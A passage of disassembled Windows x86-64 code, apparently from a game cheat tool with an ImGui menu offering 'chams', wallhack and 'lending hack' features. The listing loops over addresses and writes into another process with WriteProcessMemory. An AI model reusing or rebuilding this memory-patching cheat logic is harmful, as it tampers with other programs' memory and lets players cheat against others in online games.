je 0x14005146f
lea rdx, [rbp - 0x80]
call fcn.14004e730
mov rax, qword [0x140141308]
mov esi, r15d
mov rdx, qword [0x140141300]
sub rax, rdx
sar rax, 3
test rax, rax
je 0x140051422
mov rbx, r15
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x140141220]
mov rdi, qword [rbx + rdx]
test rax, rax
jne 0x1400513a5
mov ecx, reloc.WS2_32.dll_recv
call fcn.1400bf0fc
mov qword [0x140141220], rax
mov dword [rax + 8], r15d
mov rcx, qword [rax]
lea r8, [rbp - 0x80]
mov r9d, 0x58
mov qword [rsp + 0x20], r15
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400513fb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.WriteProcessMemory_failed_for_address:
call fcn.140057470
mov rcx, qword [0x140141668]
mov rdx, qword [rbx + rcx]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x140141308]
inc esi
mov rdx, qword [0x140141300]
add rbx, 8
sub rcx, rdx
movsxd rax, esi
sar rcx, 3
cmp rax, rcx
jb 0x140051380
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.CAMARA_LEFT_ACTIVATED
lea rcx, [0x140140038]
call fcn.140056f40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Updated_Slider_Value:
call fcn.140057470
movss xmm1, dword [0x140118a78]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___float____ptr64]
mov rcx, rax
lea rdx, [0x140057650]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea r9, [0x1401412a4]
lea r8, str.APPLY_IN_INGAME
lea rdx, [0x140141290]
lea rcx, str.LENDING_HACK
call fcn.140037a60
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x1400514dc
cmp byte [rcx + 0x48f2], r15b
jne 0x1400514dc
test byte [rcx + 0x4770], 4
jne 0x1400515f4
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400515f4
test eax, eax
jne 0x1400515ab
jmp 0x1400515f4
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x1400515f4
cmp qword [rcx + 0x3ed8], r9
je 0x1400514fc
test al, al
jns 0x1400515f4
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140051521
cmp eax, dword [rcx + 0x476c]
je 0x140051521
cmp byte [rcx + 0x3f3d], r15b
jne 0x140051521
cmp eax, dword [r9 + 0x74]
jne 0x1400515f4
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005158d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005158d
cmp byte [rdx + 0xaf], r15b
je 0x14005158d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005158d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140051560
bt r8d, 0x1a
jae 0x14005158d
cmp qword [rax + 0x370], rdx
je 0x14005158d
nop dword [rax]
cmp rax, rdx
je 0x14005158d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140051570
test dword [rcx + 0x4770], 0x100
je 0x1400515f4
test byte [rcx + 0x4770], 4
jne 0x1400515f4
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400515ab
cmp byte [r9 + 0xb0], r15b
jne 0x1400515f4
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400515ef
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
call fcn.14000b280
mov eax, dword [0x1401416a0]
cmp eax, 2
jne 0x1400523b1
mov rcx, qword [0x140141150]
lea rdx, str.CHAMS
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm15
addss xmm1, xmm12
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0x98], 0x43960000
mov dword [rbp + 0x9c], 0x43f00000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp + 0x98]
lea rcx, str.CHAMS
call fcn.14000af20
xor r9d, r9d
lea r8, str.CHAMS_WALL_APPLY_IN_INGAME
lea rdx, [0x140141294]
lea rcx, str.FIX_WALL
call fcn.140036500
mov byte [0x1401411bd], al
test al, al
je 0x1400517a6
cmp byte [0x140141294], r15b
je 0x140051754
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x1d8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a220]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1d0], rax
test rax, rax
je 0x1400540dd
cmp dword [rbp + 0x1d8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1d0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1d0], xmm0
jmp 0x1400517a6
lea rdx, str.FIX_WALL_ALREADY_OPENED
call fcn.140056970
movups xmm6, xmmword [0x140140158]
lea rdx, str._FIX_WALL_ALREADY_OPENED
lea rcx, [rbp + 0x820]
call fcn.140040fe0
lea rdx, [0x1400df5c0]
mov rbx, rax
lea rcx, [rbp + 0x860]
call fcn.140040fe0
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
mov r8, rbx
mov rdx, rax
call fcn.140045410
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x1400517f2
cmp byte [rcx + 0x48f2], r15b
jne 0x1400517f2
test byte [rcx + 0x4770], 4
jne 0x140051904
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140051904
test eax, eax
jne 0x1400518bb
jmp 0x140051904
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140051904
cmp qword [rcx + 0x3ed8], r9
je 0x140051812
test al, al
jns 0x140051904
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140051837
cmp eax, dword [rcx + 0x476c]
je 0x140051837
cmp byte [rcx + 0x3f3d], r15b
jne 0x140051837
cmp eax, dword [r9 + 0x74]
jne 0x140051904
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005189d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005189d
cmp byte [rdx + 0xaf], r15b
je 0x14005189d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005189d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140051876
bt r8d, 0x1a
jae 0x14005189d
cmp qword [rax + 0x370], rdx
je 0x14005189d
nop
cmp rax, rdx
je 0x14005189d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140051880
test dword [rcx + 0x4770], 0x100
je 0x140051904
test byte [rcx + 0x4770], 4
jne 0x140051904
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400518bb
cmp byte [r9 + 0xb0], r15b
jne 0x140051904
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400518ff
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.COLOR_CHAMS_APPLY_IN_INGAME
lea rdx, [0x140141234]
lea rcx, str.COLOR_CHAMS
call fcn.140036500
mov byte [0x140141149], al
test al, al
je 0x140051a33
cmp byte [0x140141234], r15b
je 0x1400519b2
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x1e8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a250]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1e0], rax
test rax, rax
je 0x1400540f0
cmp dword [rbp + 0x1e8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1e0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1e0], xmm0
jmp 0x140051a33
lea rdx, str.COLOR_CHAMS_ALREADY_OPENED
call fcn.140056970
movups xmm6, xmmword [0x140140158]
lea rdx, str.COLOR_CHAMS_ALREADY_OPENED
lea rcx, [rbp + 0x880]
call fcn.140040fe0
mov ecx, dword [0x1400df5c0]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x2b0], 3
movups xmmword [rbp + 0x2a0], xmm0
mov word [rbp + 0x2a0], cx
lea rdx, [rbp + 0x2a0]
movzx ecx, byte [0x1400df5c2]
mov r8, rax
mov byte [rbp + 0x2a2], cl
mov qword [rbp + 0x2b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a3], r15b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.140045410
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140051a7f
cmp byte [rcx + 0x48f2], r15b
jne 0x140051a7f
test byte [rcx + 0x4770], 4
jne 0x140051b94
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140051b94
test eax, eax
jne 0x140051b4b
jmp 0x140051b94
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140051b94
cmp qword [rcx + 0x3ed8], r9
je 0x140051a9f
test al, al
jns 0x140051b94
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140051ac4
cmp eax, dword [rcx + 0x476c]
je 0x140051ac4
cmp byte [rcx + 0x3f3d], r15b
jne 0x140051ac4
cmp eax, dword [r9 + 0x74]
jne 0x140051b94
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140051b2d
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140051b2d
cmp byte [rdx + 0xaf], r15b
je 0x140051b2d
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140051b2d
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140051b03
bt r8d, 0x1a
jae 0x140051b2d
cmp qword [rax + 0x370], rdx
je 0x140051b2d
nop dword [rax]
cmp rax, rdx
je 0x140051b2d
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140051b10
test dword [rcx + 0x4770], 0x100
je 0x140051b94
test byte [rcx + 0x4770], 4
jne 0x140051b94
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140051b4b
cmp byte [r9 + 0xb0], r15b
jne 0x140051b94
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140051b8f
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.HEAD_CHAMS_APPLY_IN_INGAME
lea rdx, [0x140141236]
lea rcx, str.HEAD_CHAMS
call fcn.140036500
mov byte [0x14014114b], al
test al, al
je 0x140051cdd
cmp byte [0x140141236], r15b
je 0x140051c42
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x1f8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a280]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x1f0], rax
test rax, rax
je 0x140054103
cmp dword [rbp + 0x1f8], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x1f0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1f0], xmm0
jmp 0x140051cdd
lea rdx, str.HEAD_CHAMS_ALREADY_OPENED
call fcn.140056970
movups xmm6, xmmword [0x140140158]
mov qword [rbp + 0x390], r15
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp + 0x398], r15
movups xmmword [rbp + 0x380], xmm0
call fcn.1400bf0fc
mov r8d, Ordinal_27
mov qword [rbp + 0x380], rax
lea rdx, str.HEAD_CHAMS_ALREADY_OPENED
mov qword [rbp + 0x390], Ordinal_33
mov rcx, rax
mov qword [rbp + 0x398], Ordinal_33
mov rbx, rax
call fcn.1400410a0
lea rdx, [0x1400df5c0]
mov byte [rbx + 0x19], r15b
lea rcx, [rbp + 0x8a0]
call fcn.140040fe0
lea r9, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm6
lea r8, [rbp + 0x380]
mov rdx, rax
call fcn.140045410
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140051d29
cmp byte [rcx + 0x48f2], r15b
jne 0x140051d29
test byte [rcx + 0x4770], 4
jne 0x140051e3a
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140051e3a
test eax, eax
jne 0x140051df1
jmp 0x140051e3a
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140051e3a
cmp qword [rcx + 0x3ed8], r9
je 0x140051d49
test al, al
jns 0x140051e3a
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140051d6e
cmp eax, dword [rcx + 0x476c]
je 0x140051d6e
cmp byte [rcx + 0x3f3d], r15b
jne 0x140051d6e
cmp eax, dword [r9 + 0x74]
jne 0x140051e3a
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140051dd3
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140051dd3
cmp byte [rdx + 0xaf], r15b
je 0x140051dd3
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140051dd3
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140051dad
bt r8d, 0x1a
jae 0x140051dd3
cmp qword [rax + 0x370], rdx
je 0x140051dd3
cmp rax, rdx
je 0x140051dd3
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140051db6
test dword [rcx + 0x4770], 0x100
je 0x140051e3a
test byte [rcx + 0x4770], 4
jne 0x140051e3a
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140051df1
cmp byte [r9 + 0xb0], r15b
jne 0x140051e3a
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140051e35
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.Charms_All_Features_in_One
lea rdx, [0x140141237]
lea rcx, str.CHAMS_MENU_V1
call fcn.140036500
mov byte [0x14014114d], al
test al, al
je 0x140051fbd
cmp byte [0x140141237], r15b
je 0x140051ee8
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x208]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a2b0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x200], rax
test rax, rax
je 0x140054116
cmp dword [rbp + 0x208], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x200]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x200], xmm0
jmp 0x140051fbd
lea rdx, str.CHAMS_MENU_V1_ALREADY_OPENED
call fcn.140056970
movups xmm6, xmmword [0x140140158]
mov qword [rbp + 0x330], r15
mov ecx, reloc.WLDAP32.dll_Ordinal_32
xorps xmm0, xmm0
mov qword [rbp + 0x338], r15
movups xmmword [rbp + 0x320], xmm0
call fcn.1400bf0fc
movups xmm0, xmmword [str.CHAMS_MENU_V1_ALREADY_OPENED]
mov qword [rbp + 0x320], rax
lea r9, [rsp + 0x60]
mov qword [rbp + 0x330], Ordinal_33
lea r8, [rbp + 0x320]
mov qword [rbp + 0x338], Ordinal_33
lea rdx, [rbp + 0x360]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400e10a0]
movsd qword [rax + 0x10], xmm0
xorps xmm0, xmm0
mov ecx, dword [0x1400e10a8]
mov dword [rax + 0x18], ecx
mov byte [rax + 0x1c], r15b
mov eax, dword [0x1400df5c0]
movups xmmword [rbp + 0x360], xmm0
mov word [rbp + 0x360], ax
movzx eax, byte [0x1400df5c2]
mov byte [rbp + 0x362], al
mov qword [rbp + 0x370], 3
mov qword [rbp + 0x378], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x363], r15b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.140045410
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052009
cmp byte [rcx + 0x48f2], r15b
jne 0x140052009
test byte [rcx + 0x4770], 4
jne 0x14005211a
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x14005211a
test eax, eax
jne 0x1400520d1
jmp 0x14005211a
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x14005211a
cmp qword [rcx + 0x3ed8], r9
je 0x140052029
test al, al
jns 0x14005211a
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005204e
cmp eax, dword [rcx + 0x476c]
je 0x14005204e
cmp byte [rcx + 0x3f3d], r15b
jne 0x14005204e
cmp eax, dword [r9 + 0x74]
jne 0x14005211a
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400520b3
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400520b3
cmp byte [rdx + 0xaf], r15b
je 0x1400520b3
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400520b3
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005208d
bt r8d, 0x1a
jae 0x1400520b3
cmp qword [rax + 0x370], rdx
je 0x1400520b3
cmp rax, rdx
je 0x1400520b3
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140052096
test dword [rcx + 0x4770], 0x100
je 0x14005211a
test byte [rcx + 0x4770], 4
jne 0x14005211a
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x1400520d1
cmp byte [r9 + 0xb0], r15b
jne 0x14005211a
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x140052115
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
xor r9d, r9d
lea r8, str.Charms_All_Features_in_One
lea rdx, [0x14014129c]
lea rcx, str.CHAMS_MENU_V2
call fcn.140036500
mov byte [0x14014122a], al
test al, al
je 0x140052249
cmp byte [0x14014129c], r15b
je 0x1400521c8
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x218]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a2e0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x210], rax
test rax, rax
je 0x140054129
cmp dword [rbp + 0x218], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x210]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x210], xmm0
jmp 0x140052249
lea rdx, str.CHAMS_MENU_V2_ALREADY_OPENED
call fcn.140056970
movups xmm6, xmmword [0x140140158]
lea rdx, str.CHAMS_MENU_V2_ALREADY_OPENED
lea rcx, [rbp + 0x8e0]
call fcn.140040fe0
mov ecx, dword [0x1400df5c0]
lea r9, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rbp + 0x350], 3
movups xmmword [rbp + 0x340], xmm0
mov word [rbp + 0x340], cx
lea rdx, [rbp + 0x340]
movzx ecx, byte [0x1400df5c2]
mov r8, rax
mov byte [rbp + 0x342], cl
mov qword [rbp + 0x358], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x343], r15b
movdqa xmmword [rsp + 0x60], xmm6
call fcn.140045410
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x140052295
cmp byte [rcx + 0x48f2], r15b
jne 0x140052295
test byte [rcx + 0x4770], 4
jne 0x1400523a6
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x1400523a6
test eax, eax
jne 0x14005235d
jmp 0x1400523a6
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x1400523a6
cmp qword [rcx + 0x3ed8], r9
je 0x1400522b5
test al, al
jns 0x1400523a6
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400522da
cmp eax, dword [rcx + 0x476c]
je 0x1400522da
cmp byte [rcx + 0x3f3d], r15b
jne 0x1400522da
cmp eax, dword [r9 + 0x74]
jne 0x1400523a6
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x14005233f
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x14005233f
cmp byte [rdx + 0xaf], r15b
je 0x14005233f
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x14005233f
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140052319
bt r8d, 0x1a
jae 0x14005233f
cmp qword [rax + 0x370], rdx
je 0x14005233f
cmp rax, rdx
je 0x14005233f
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140052322
test dword [rcx + 0x4770], 0x100
je 0x1400523a6
test byte [rcx + 0x4770], 4
jne 0x1400523a6
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005235d
cmp byte [r9 + 0xb0], r15b
jne 0x1400523a6
xor ecx, ecx
call fcn.140015c80
lea rcx, str.INGAME
call fcn.1400346d0
mov rax, qword [0x140141150]
mov rcx, qword [rax + 0x3ed0]
test dword [rcx + 0xc], 0x2000000
jne 0x1400523a1
mov r8d, 0x26d8
lea rdx, str.E:F4X_MAIN_ALLF4X_C__FREEF4X_REGDIT___imgui.cpp
lea rcx, str.GetCurrentWindowRead____Flags__ImGuiWindowFlags_Tooltip
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
call fcn.1400109d0
call fcn.14000b280
mov eax, dword [0x1401416a0]
cmp eax, 3
jne 0x140052e77
mov rcx, qword [0x140141150]
lea rdx, [0x1400e10e0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm15
addss xmm1, xmm12
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r12b
mov dword [rbp + 0xa0], 0x43960000
mov dword [rbp + 0xa4], 0x43f00000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r12b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140006c70
mov edx, eax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rcx, [0x1400e10e0]
call fcn.14000af20
xor r9d, r9d
lea r8, str.APPLY_IN_LOBBY
lea rdx, [0x14014124d]
lea rcx, str.MP40_LOCATION
call fcn.140036500
mov byte [0x14014114e], al
test al, al
je 0x140052500
cmp byte [0x14014124d], r15b
je 0x140052500
mov rcx, r12
call fcn.1400bf0fc
lea rcx, [rbp + 0x228]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14005a3e0]
xor ecx, ecx
mov dword [rsp + 0x20], r15d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x220], rax
test rax, rax
je 0x14005413c
cmp dword [rbp + 0x228], r15d
je 0x1400542a4
movaps xmm0, xmmword [rbp + 0x220]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400542a4
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x220], xmm0
mov rcx, qword [0x140141150]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r15b
je 0x14005254c
cmp byte [rcx + 0x48f2], r15b
jne 0x14005254c
test byte [rcx + 0x4770], 4
jne 0x140052664
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140052664
test eax, eax
jne 0x14005261b
jmp 0x140052664
mov eax, dword [rcx + 0x4774]
test r12b, al
je 0x140052664
cmp qword [rcx + 0x3ed8], r9
je 0x14005256c
test al, al
jns 0x140052664
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140052591
cmp eax, dword [rcx + 0x476c]
je 0x140052591
cmp byte [rcx + 0x3f3d], r15b
jne 0x140052591
cmp eax, dword [r9 + 0x74]
jne 0x140052664
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x1400525fd
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x1400525fd
cmp byte [rdx + 0xaf], r15b
je 0x1400525fd
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x1400525fd
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400525d0
bt r8d, 0x1a
jae 0x1400525fd
cmp qword [rax + 0x370], rdx
je 0x1400525fd
nop dword [rax]
cmp rax, rdx
je 0x1400525fd
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x1400525e0
test dword [rcx + 0x4770], 0x100
je 0x140052664
test byte [rcx + 0x4770], 4
jne 0x140052664
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x14005261b
cmp byte [r9 + 0xb0], r15b
jne 0x140052664
xor ecx, ecx
call fcn.140015c80
lea rcx, str.LOBBY
call fcn.1400346d0
